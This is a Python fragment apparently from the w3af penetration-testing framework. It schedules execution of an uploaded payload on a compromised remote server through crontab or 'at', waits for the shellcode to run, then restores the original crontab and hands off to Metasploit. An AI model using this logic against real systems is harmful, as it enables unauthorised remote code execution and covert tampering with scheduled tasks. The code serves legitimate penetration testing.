def getDelayedExecutionHandler( self ): os = osDetectionExec( self._execMethod ) if os == 'windows': return atHandler( self._execMethod ) elif os == 'linux': return crontabHandler( self._execMethod ) else: raise w3afException('Failed to create a delayed execution handler.')
def _exec_payload( self, remote_filename ): ''' This method should be implemented according to the remote operating system. The idea here is to execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd I should run "chmod +x file; ./file" @return: None ''' cH = crontabHandler( self._exec_method ) if not cH.canDelay(): msg = '[lnxVd] Failed to create cron entry.' om.out.debug( msg ) raise w3afException( msg ) else: waitTime = cH.addToSchedule( remote_filename ) om.out.console('Crontab entry successfully added. Waiting for shellcode execution.') time.sleep( waitTime + 3 ) om.out.debug('Shellcode successfully executed, restoring old crontab.') cH.restoreOldSchedule() om.out.debug('All done, check metasploit for results.')